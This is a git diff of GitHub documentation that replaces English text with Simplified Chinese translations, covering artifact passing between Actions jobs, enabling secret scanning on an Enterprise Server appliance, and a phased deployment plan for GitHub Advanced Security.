workflow run's artifacts, a directory for each artifact is created using its name. +如果下载所有工作流运行的工件,则会为每个工件使用其名称创建一个目录。 -For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.location.product_location %}{% endif %}. +有关语法的详细信息,请参阅 {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/download-artifact` 操作{% endif %}。 -## Passing data between jobs in a workflow +## 在工作流中的作业间传递数据 -You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.location.product_location %}{% endif %}. +可以使用 `upload-artifact` 和 `download-artifact` 操作在工作流中的作业间共享数据。 此示例工作流程说明如何在相同工作流程中的任务之间传递数据。 有关详细信息,请参阅 {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) 和 [download-artifact](https://github.com/actions/download-artifact) 操作{% else %} {% data variables.product.product_location %} 上的 `actions/upload-artifact` 和 `download-artifact` 操作{% endif %}。 -Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax. +依赖于以前作业构件的作业必须等待依赖项成功完成。 此工作流使用 `needs` 密钥来确保 `job_1`、`job_2` 和 `job_3` 按顺序运行。 例如,`job_2` 需要 `job_1`,方法是使用 `needs: job_1` 语法。 -Job 1 performs these steps: -- Performs a math calculation and saves the result to a text file called `math-homework.txt`. -- Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name `homework`. +作业1执行以下步骤: +- 执行数学计算并将结果保存到名为 `math-homework.txt` 的文本文件。 +- 使用 `upload-artifact` 操作上传工件名称为 `homework` 的 `math-homework.txt` 文件。 -Job 2 uses the result in the previous job: -- Downloads the `homework` artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory. -- Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents. -- Uploads the `math-homework.txt` file. This upload overwrites the previously uploaded artifact because they share the same name. +作业 2 使用上一个作业的结果: +- 下载在上一作业中上传的 `homework` 工件。 默认情况下,`download-artifact` 操作会将工件下载到该步骤执行的工作区目录中。 可以使用 `path` 输入参数指定不同的下载目录。 +- 读取 `math-homework.txt` 文件中的值,执行数学计算,并再次将结果保存到 `math-homework.txt`,覆盖其内容。 +- 上传 `math-homework.txt` 文件。 此上传会覆盖之前上传的构件,因为它们共用同一名称。 -Job 3 displays the result uploaded in the previous job: -- Downloads the `homework` artifact. -- Prints the result of the math equation to the log. +作业 3 显示上一个作业中上传的结果: +- 下载 `homework` 工件。 +- 将数学方程式的结果打印到日志中。 -The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`. +在此工作流示例中执行的完整数学运算是 `(3 + 7) x 9 = 90`。 ```yaml{:copy} name: Share data between jobs @@ -248,13 +252,13 @@ jobs: echo The result is $value ``` -The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." -![Workflow that passes data between jobs to perform math](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) +工作流程运行运行将会存档它生成的任何构件。 有关下载已存档工件的详细信息,请参阅“[下载工作流工件](/actions/managing-workflow-runs/downloading-workflow-artifacts)”。 +![在作业间传递数据以执行数学运算的工作流](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) {% ifversion fpt or ghec %} -## Further reading +## 延伸阅读 -- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)". +- “[管理 {% data variables.product.prodname_actions %} 的计费](/billing/managing-billing-for-github-actions)”。 {% endif %} diff --git a/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md index 291f6f4906..f6d78dedfb 100644 --- a/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md +++ b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md @@ -1,7 +1,7 @@ --- -title: Configuring secret scanning for your appliance +title: 为设备配置密码扫描 shortTitle: Configuring secret scanning -intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' +intro: '您可以为 {% data variables.product.product_location %} 启用、配置和禁用 {% data variables.product.prodname_secret_scanning %}。 {% data variables.product.prodname_secret_scanning_caps %} 允许用户扫描代码以寻找意外泄露的密码。' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -15,59 +15,58 @@ topics: - Enterprise - Secret scanning - Security +ms.openlocfilehash: c44d724293b970ff3075deb1befb2f0eae427d5c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066319' --- - {% data reusables.secret-scanning.beta %} -## About {% data variables.product.prodname_secret_scanning %} +## 关于 {% data variables.product.prodname_secret_scanning %} -If someone checks a secret with a known pattern into a repository, {% data variables.product.prodname_secret_scanning %} catches the secret as it's checked in, and helps you mitigate the impact of the leak. Repository administrators are notified about any commit that contains a secret, and they can quickly view all detected secrets in the Security tab for the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)." +如果有人将使用已知模式的机密签入存储库,{% data variables.product.prodname_secret_scanning %} 会在签入机密时对其进行捕获,帮助降低机密被泄的影响。 仓库管理员会收到包含密码的任何提交的通知, 然后他们可以快速查看仓库安全选项卡中所有检测到的密码。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)”。 -## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} +## 检查您的许可是否包含 {% data variables.product.prodname_GH_advanced_security %} {% data reusables.advanced-security.check-for-ghas-license %} -## Prerequisites for {% data variables.product.prodname_secret_scanning %} +## {% data variables.product.prodname_secret_scanning %} 的前提条件 -- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.location.product_location %}. +- [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470)(补充流式处理 SIMD 扩展 3)CPU 标志需要在运行 {% data variables.product.product_location %} 的 VM/KVM 上启用。 -- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} +- {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} 的许可证(请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”){% endif %} -- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") +- 在管理控制台中启用的 {% data variables.product.prodname_secret_scanning_caps %}(请参阅“[为企业启用 {% data variables.product.prodname_GH_advanced_security %}](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)”) -### Checking support for the SSSE3 flag on your vCPUs +### 检查您的 vCPU 上的 SSSE3 标志的支持 -The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. +SSSE3 指令集是必需的,因为 {% data variables.product.prodname_secret_scanning %} 利用硬件加速模式匹配来查找提交给 {% data variables.product.prodname_dotcom %} 仓库的潜在凭据。 大多数现代 CPU 都启用了 SSSE3。 您可以检查您的 {% data variables.product.prodname_ghe_server %} 实例的可用 vCPU 是否启用了 SSSE3。 -1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." -2. Enter the following command: +1. 连接到 {% data variables.product.prodname_ghe_server %} 实例的管理 shell。 有关详细信息,请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)”。 +2. 输入以下命令: ```shell grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? ``` - If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below. + 如果返回值 `0`,则意味着 SSSE3 标志可用并且已启用。 您现在可以为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_secret_scanning %}。 有关详细信息,请参阅下面的“[启用 {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)”。 - If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. + 如果不返回 `0`,则 SSSE3 未在 VM/KVM 上启用。 您需要参考硬件/虚拟机监控程序的文档,以了解如何启用该标志,或者如何使其可用于访客 VM。 -## Enabling {% data variables.product.prodname_secret_scanning %} +## 启用 {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," click **{% data variables.product.prodname_secret_scanning_caps %}**. -![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} +1. 在“安全性”下,单击 {% data variables.product.prodname_secret_scanning_caps %}。 +![用于启用或禁用 {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/enable-secret-scanning-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} 的复选框 -## Disabling {% data variables.product.prodname_secret_scanning %} +## 禁用 {% data variables.product.prodname_secret_scanning %} {% data reusables.enterprise_management_console.enable-disable-security-features %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," unselect **{% data variables.product.prodname_secret_scanning_caps %}**. -![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} +1. 在“安全性”下,取消选择 {% data variables.product.prodname_secret_scanning_caps %}。 +![用于启用或禁用 {% data variables.product.prodname_secret_scanning %}](/assets/images/enterprise/management-console/secret-scanning-disable.png) {% data reusables.enterprise_management_console.save-settings %} 的复选框 diff --git a/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md new file mode 100644 index 0000000000..9b4b59aa5e --- /dev/null +++ b/translations/zh-CN/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/deploying-github-advanced-security-in-your-enterprise.md @@ -0,0 +1,408 @@ +--- +title: 在企业中部署 GitHub Advanced Security +intro: 了解如何在企业中计划、准备和实施分阶段推出 {% data variables.product.prodname_GH_advanced_security %} (GHAS)。 +product: '{% data reusables.gated-features.advanced-security %}' +redirect_from: +- /admin/advanced-security/deploying-github-advanced-security-in-your-enterprise +miniTocMaxHeadingLevel: 3 +versions: + ghes: '*' + ghec: '*' +type: how_to +topics: +- Advanced Security +- Code scanning +- Enterprise +- Security +ms.openlocfilehash: 7990891fd4b90127ae5f32aa262d6c096d23acab +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147060752" +--- +## 部署过程概述 + +{% data reusables.security.overview-of-phased-approach-for-ghas-rollout %} + +有关这些不同阶段的大致摘要,请参阅“[{% data variables.product.prodname_GH_advanced_security %} 部署概述](/admin/advanced-security/overview-of-github-advanced-security-deployment)”。 + +在开始部署之前,建议在“[{% data variables.product.prodname_GH_advanced_security %} 部署概述](/admin/advanced-security/overview-of-github-advanced-security-deployment)”中查看安装 GHAS 的先决条件和 GHAS 部署的最佳做法。 + +## {% octicon "milestone" aria-label="The milestone icon" %} 第 0 阶段:规划和启动 + +{% note %} + +{% octicon "clock" aria-label="Clock" %} **预计时间:** 预计第 0 阶段可能会持续约 1 - 4 周。 此范围可能会因发布需求和公司在部署计划中可能需要的任何必要批准而异。 + +{% endnote %} + +规划和启动阶段的目标是确保已设置好所有人员、过程和技术,并准备好实现 GHAS。 + +为了帮助你获得执行发起人的支持,建议在企业中发布 GHAS 之前准备并调整推出计划及目标。 + +作为分阶段推出策略的一部分,建议在企业其他团队之前确定应该有针对性地加入 GHAS 的高影响力和关键团队或应用程序。 + +如果分阶段推出不适合你的企业,可以跳到[试点项目阶段](#--phase-1-pilot-projects)。 + +如果使用的是 {% data variables.product.prodname_professional_services %},在此阶段中,你还将为团队在整个推出和实现过程中如何协作制定计划。 {% data variables.product.prodname_professional_services_team %} 团队可以按需为创建分阶段的推出计划和目标提供支持。 + +### 步骤 1:与 {% data variables.product.prodname_professional_services %} 开会(可选) + +如果注册了 {% data variables.product.prodname_professional_services %},你将通过与该服务代表会面来开始推出和实现过程。 + +如果尚未注册 {% data variables.product.prodname_professional_services %},则可以跳到下一步。 + +该会议的目标是使两个团队在必要的信息方面保持一致,以便开始制定一个最适合你公司的推出和实现计划。 为了准备该会议,我们创建了一项调查,该调查将帮助我们更好地为讨论做准备。 你的服务代表会将此调查结果发送给你。 + +为了帮助你准备该初次会议,请查看以下主题。 + +- 协调你的公司与 {% data variables.product.prodname_professional_services %} 进行协作的最佳方式 + - 设定对利用所购买的服务小时/天数的最佳方式的期望 + - 沟通计划/会议频率 + - 角色和职责 +- 查看 GHAS 在软件开发生命周期 (SDLC) 中的工作原理。 你的 {% data variables.product.prodname_professional_services %} 代表将解释 GHAS 的工作原理。 +- 查看有关部署 GHAS 的最佳做法。 如果团队认为它很有价值,或者企业没有参与概念证明 (POC) 练习,这可以作为复习。 该复习包括对现有应用程序安全计划以及及针对 DevSecOps 成熟度模型等的成熟度级别的讨论。 +- 与 GHAS 部署的后续步骤保持一致。 {% data variables.product.prodname_professional_services %} 代表将概述后续步骤和可从合作伙伴关系中获得的支持。 + +若要帮助规划推出策略,还可以讨论以下问题: + - 将启用多少个团队? + - 团队存储库的解剖结构是什么? (技术堆栈、当前工具等) + - 如果你的公司参与,在概念证明练习中,其中一些内容可能已经涵盖。 如果没有涵盖,这将是讨论该问题的关键时刻。 + - 我们所需的采用级别是有机的、辅助的还是无机的? + - 从资源和文档的角度来看,辅助采用是什么样的? + - 你将如何完全管理无机采用? (例如,使用策略强制实施或集中管理的工作流。) + +### 步骤 2:在公司内部启动 + +无论你的公司是否选择与 {% data variables.product.prodname_professional_services %} 合作,我们始终建议你举行自己的启动会议以符合你自己的团队。 + +在该启动会议期间,重要的是要确保对目标、期望有一个清晰的了解,并确保制定了如何推进推出和实现的计划。 + +此外,现在是开始考虑为团队进行培训和准备的好时机,以确保他们拥有正确的工具和专业知识来支持 GHAS 的推出和实现。 + +#### 内部启动会议的主题 + +如果尚未在与 {% data variables.product.prodname_professional_services %} 的启动会议中与同一组包含这些主题,建议在公司的内部启动会议中涵盖这些主题。 + +- 业务成功指标是什么?你打算如何衡量和报告这些指标? + - 如果这些内容尚未定义,请定义它们。 如果这些内容已定义,请与他们沟通并讨论你打算如何提供数据驱动的进度更新。 +- 了解 GHAS 在 SDLC(软件开发生命周期)中的工作原理以及它应如何为你的公司工作。 +- 如果你的公司没有参与概念证明练习,则查看最佳做法(如果团队在此查看中发现价值,则进行复习) + - 这与现有的应用程序安全计划相比如何? +- 讨论并确定内部团队将如何在整个推出和实现过程中实现最佳协作。 + - 与内部团队的沟通计划和会议频率保持一致 + - 查看用于完成推出和实现的任务,并定义角色和职责。 我们已经在本文中概述了大部分任务,但可能还有你的公司需要的未包括在内的其他任务。 + - 请考虑建立一个用于实现规模化启用的“冠军计划” + - 开始讨论完成任务所需的时间 +- 开始研究最适合你的公司的理想推出方法。 这将包括理解一些重要的项: + - 将启用多少个团队? 如果你的公司参与,在概念证明 (POC) 练习中,其中一些内容可能已经涵盖。 如果没有涵盖,这将是讨论该问题的关键时刻。 + - 在为最初推出而确定的关键应用程序中,有多少是基于由 GHAS 支持的技术而构建的? + - 组织需要哪些准备工作? 若要了解详细信息,请参阅“[第 2 阶段](#--phase-2-organizational-buy-in--rollout-preparation)”。 + +### 步骤 3:准备推出和实现计划及目标 + +在针对推出的第 1 阶段推进试点项目之前,确保为公司计划如何继续制定推出计划和业务目标至关重要。 + +如果使用的是 {% data variables.product.prodname_professional_services %},它们可以在创建此计划中发挥重要作用。 + +如果你是独立工作的,本部分概述了一些内容,用于确保在准备推进时将其包含在计划中。 + +按需为团队成员制定过程更改计划(如果需要)和培训: + - 记录了有关角色和职责的团队分配。 有关每个功能所需权限的详细信息,请参阅“[组织的存储库角色](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)”。 + - 尽可能地记录任务计划和时间线/时间范围。 这应包括基础结构更改、过程更改/培训以及启用 GHAS 的所有后续阶段,并根据需要为修正和配置调整提供时间范围。 有关详细信息,请参阅下面的“[第 1 阶段:试点项目](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise#--phase-1-pilot-projects)”。 + - 哪些项目/团队将首先启用 GHAS 的优先计划,以及哪些项目/团队将在后续阶段启用的后续计划 + - 基于业务目标的成功指标。 这将是继试点项目之后的一个关键参考点,用于获得全面推出支持。 + +{% note %} + +注意:若要确保认知、支持和采用均来自你公司中的所有组,需围绕推出时间和对公司的基础结构、过程和一般日常开发工作流的影响设定实际期望,这一点很重要。 为了更顺利和更成功地推出,请确保安全和开发团队了解 GHAS 的影响。 + +{% endnote %} + +{% ifversion ghes %} + +对于 {% data variables.product.prodname_ghe_server %} 客户,为帮助确保实例能够支持 GHAS 的推出和实现,请查看以下内容: + +- 虽然无需升级到 GHES 3.0,但必须升级到 GHES 3.0 或更高版本才能利用代码扫描和 {% data variables.product.prodname_actions %} 等功能组合。 有关详细信息,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。 + +- 在高性能配置中,完全冗余的次级 {% data variables.product.prodname_ghe_server %} 设备通过复制所有主要数据存储与主设备保持同步。 有关设置高可用性的详细信息,请参阅“[配置高可用性](/admin/enterprise-management/configuring-high-availability)”。 + +- 若要帮助支持任何关于公司设置的潜在更改的讨论,可以查看 {% data variables.product.prodname_ghe_server %} 系统概述。 有关详细信息,请参阅“[系统概述](/admin/overview/system-overview)”。 + +{% endif %} + +### 步骤 4:建立组织见解的基线 + +当你的公司准备开始试点项目时,确保已经为企业目前所处的位置设定了一个基线,并定义了明确的成功指标来度量试点项目的进展情况,这一点至关重要。 + +你的公司可能有一些关键业务目标需要进行度量,但我们可以确定其他指标来帮助度量试点成功与否。 + +作为起点,其中一些指标可能包括: + - 修正 GHAS 漏洞的平均时间与试点项目/团队之前使用的工具和做法。 + - 代码扫描集成对前 X 个最关键应用程序的发现结果。 + - 集成了 SAST(静态应用程序安全测试)的应用程序数量与参与前的应用程序数量。 + +如果你在购买 GHAS 之前参与了 POC 练习,那么这些目标可能看起来很熟悉。 此成功标准包括以下高级角色的几个目标: + - 实现和管理团队 + - 安全/CISO(首席信息安全官) + - 应用程序开发团队 + +如果你想进一步了解,可以考虑利用 OWASP 的 DevSecOps 成熟度模型 (DSOMM) 努力达到 1 级成熟度。 DSOMM 中有四个主要的评估标准: + +- **静态深度:** 在 AppSec CI 管道中执行的静态代码扫描的覆盖面 +- **动态深度:** 在 AppSec CI 管道中运行的动态扫描的覆盖面 +- **强度:** 在 AppSec CI 管道中运行的安全扫描的计划频率 +- **合并:** 用于处理调查结果和过程完整性的修正工作流 + +若要详细了解此方法以及如何在 GHAS 中实现该方法,可以下载白皮书“[使用 GitHub 实现 DevSecOps 成熟度](https://resources.github.com/whitepapers/achieving-devsecops-maturity-github/)”。 + +基于更广泛的公司目标和当前的 DevSecOps 成熟度级别,我们可以帮助你确定用于度量试点进度和成功与否的最佳方法。 + +## {% octicon "milestone" aria-label="The milestone icon" %} 第 1 阶段:试点项目 + +{% note %} + +{% octicon "clock" aria-label="Clock" %} **预计时间:** 预计第 1 阶段可能会持续约 2 周 - 3 个月以上。 此范围可能主要取决于公司的基础结构或系统的复杂性、用于管理/审批这些更改的内部流程,以及是否需要更大的组织流程更改来推进 GHAS。 + +{% endnote %} + +若要开始在公司中启用 GHAS,建议从一些具有较大影响力的项目或团队开始,以便进行试点初始推出。 这将使公司内的初始组能够熟悉 GHAS,并基于 GHAS 打好坚实的基础,然后再推出到公司的其他团队。 + +在开始试点项目之前,建议为团队安排一些检查点会议,例如初始会议、中期审查和试点完成后的总结会议。 这些检查点会议将帮助你根据需要进行调整,并确保团队做好准备并获得支持,以成功完成试点。 + +这些步骤将帮助你在你的企业中启用 GHAS、开始使用其功能并查看结果。 + +如果你使用的是 {% data variables.product.prodname_professional_services %},他们可以根据需要通过入职会议、GHAS 研讨会和故障排除在此过程中提供额外帮助。 + +### 步骤 1:GHAS 设置和安装 + +{% ifversion ghes %} + +如果尚未为 {% data variables.product.prodname_ghe_server %} 实例启用 GHAS,请参阅“[为企业启用 GitHub 高级安全功能](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)”。 + +{% endif %} + +你需要通过为每个存储库或参与该项目的任何组织中的所有存储库启用 GHAS 功能,来为每个试点项目启用 GHAS。 有关详细信息,请参阅“[管理存储库的安全和分析设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)”或“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)” + +绝大多数 GHAS 设置和安装都关于在企业和存储库中启用和配置代码扫描。 + +代码扫描可让你分析 {% data variables.product.prodname_dotcom %} 存储库中的代码,以查找安全漏洞和编码错误。 代码扫描可用于查找、会审代码中的现有问题并确定修补程序的优先级,以及帮助防止开发人员引入可能会影响生产的新问题。 有关详细信息,请参阅“[关于代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)”。 + +### 步骤 2:设置 {% data variables.product.prodname_code_scanning_capc %} + +{% ifversion ghes %} + +若要在 {% data variables.product.prodname_ghe_server %} 实例上启用 {% data variables.product.prodname_code_scanning %},请参阅“[为设备配置代码扫描](/admin/advanced-security/configuring-code-scanning-for-your-appliance)”。 + +{% endif %} + +若要设置代码扫描,你必须决定是使用 [{% data variables.product.prodname_actions %}](#using-github-actions-for-code-scanning) 还是自己的[第三方 CI 系统](#using-a-third-party-ci-system-with-the-codeql-cli-for-code-scanning)运行代码扫描。 + +#### 使用 {% data variables.product.prodname_actions %} 进行 {% data variables.product.prodname_code_scanning %} + +{% ifversion ghes %} + +若要使用适用于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 设置代码扫描,需在环境中提供一个或多个自托管的 {% data variables.product.prodname_actions %} 运行器。 有关详细信息,请参阅“[设置自托管运行器](/admin/advanced-security/configuring-code-scanning-for-your-appliance#running-code-scanning-using-github-actions)”。 + +{% endif %} + +对于 {% data variables.product.prodname_ghe_cloud %},可以使用 [CodeQL 操作](https://github.com/github/codeql-action/)开始创建 {% data variables.product.prodname_actions %} 工作流,以在存储库上运行代码扫描。 {% data variables.product.prodname_code_scanning_capc %} 默认使用 [GitHub 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners),但如果你打算使用自己的硬件规格托管自己的运行器,则可以自定义此设置。 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners)。 + +有关 {% data variables.product.prodname_actions %} 的详细信息,请参阅: + - [了解 GitHub Actions](/actions/learn-github-actions) + - [了解 GitHub Actions](/actions/learn-github-actions/understanding-github-actions) + - [触发工作流的事件](/actions/learn-github-actions/events-that-trigger-workflows) + - [筛选器模式速查表](/actions/learn-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet) + +#### 结合使用第三方 CI 系统与 CodeQL CLI 以进行 {% data variables.product.prodname_code_scanning %} + +如果不使用 {% data variables.product.prodname_actions %} 并且拥有自己的持续集成系统,则可以使用 CodeQL CLI 在第三方 CI 系统中执行 CodeQL 代码扫描。 + +有关详细信息,请参阅: + - [关于 CI 系统中的 CodeQL 代码扫描](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system) + +### 步骤 3:在存储库中启用 {% data variables.product.prodname_code_scanning_capc %} + +如果使用分阶段方法来推出 GHAS,建议在推出计划中逐个存储库启用 {% data variables.product.prodname_code_scanning %}。 有关详细信息,请参阅“[为存储库设置代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository)”。 + +如果不打算采用分阶段推出方法并希望对许多存储库启用代码扫描,可能需要为该过程编写脚本。 + +有关打开拉取请求以将 {% data variables.product.prodname_actions %} 工作流添加到多个存储库的脚本示例,请参阅 [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) 存储库。有关使用 PowerShell 的示例,或者对于没有 PowerShell 但希望改用 NodeJS 的团队,请参阅 [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement)。 + +### 步骤 4:运行代码扫描并查看结果 + +在必要的存储库中启用代码扫描后,你就就可以帮助开发团队了解如何运行代码扫描和报告、查看报告以及处理结果。 + +#### {% data variables.product.prodname_code_scanning_capc %} + +通过代码扫描,可以在 GitHub 上找到项目代码中的漏洞和错误,以及查看、会审、了解和解决相关的 {% data variables.product.prodname_code_scanning %} 警报。 + +如果代码扫描在拉取请求中发现问题,你可以查看突出显示的代码并解决警报。 有关详细信息,请参阅“[会审拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)”。 + +如果你对存储库具有写入权限,则可以管理该存储库的代码扫描警报。 在对存储库具有写入权限的情况下,{% ifversion delete-code-scanning-alerts %}你可以查看、修复、解除或删除警报{% else %}你可以查看、修复或解除警报{% endif %}以便从容处理存储库代码中的潜在漏洞或错误。 有关详细信息,请参阅“[管理存储库的代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository)”。 + +#### 生成 {% data variables.product.prodname_code_scanning %} 警报的报告 + +如果想要创建代码扫描警报报告,可以使用 {% data variables.product.prodname_code_scanning_capc %} API。 有关详细信息,请参阅“[{% data variables.product.prodname_code_scanning_capc %} API](/rest/reference/code-scanning)”。 + +有关如何使用 {% data variables.product.prodname_code_scanning_capc %} API 的示例,请参阅 [`get-code-scanning-alerts-in-org-sample`](https://github.com/jhutchings1/get-code-scanning-alerts-in-org-sample) 存储库。 + +### 步骤 5:配置 {% data variables.product.prodname_code_scanning_capc %} 以微调结果 + +运行初始代码扫描时,你可能会发现未找到任何结果或返回的结果数量异常。 建议调整在将来扫描中标记的内容。 + +有关详细信息,请参阅“[配置代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning)”。 + +如果你的公司想要将其他第三方代码分析工具用于 GitHub 代码扫描,可使用操作在 GitHub 中运行这些工具。 你也可以将由第三方工具生成的结果作为 SARIF 文件上传到代码扫描。 有关详细信息,请参阅“[与代码扫描集成](/code-security/code-scanning/integrating-with-code-scanning)”。 + +### 步骤 6:设置机密扫描 + +GitHub 扫描存储库以查找已知类型的机密,以防止欺诈性地使用意外提交的机密。 + +{% ifversion ghes %} + +若要为 {% data variables.product.prodname_ghe_server %} 实例启用机密扫描,请参阅“[为设备配置机密扫描](/admin/advanced-security/configuring-secret-scanning-for-your-appliance)”。 + +{% endif %} + +你需要通过为每个存储库或参与该项目的任何组织中的所有存储库启用机密扫描,来为每个试点项目启用该功能。 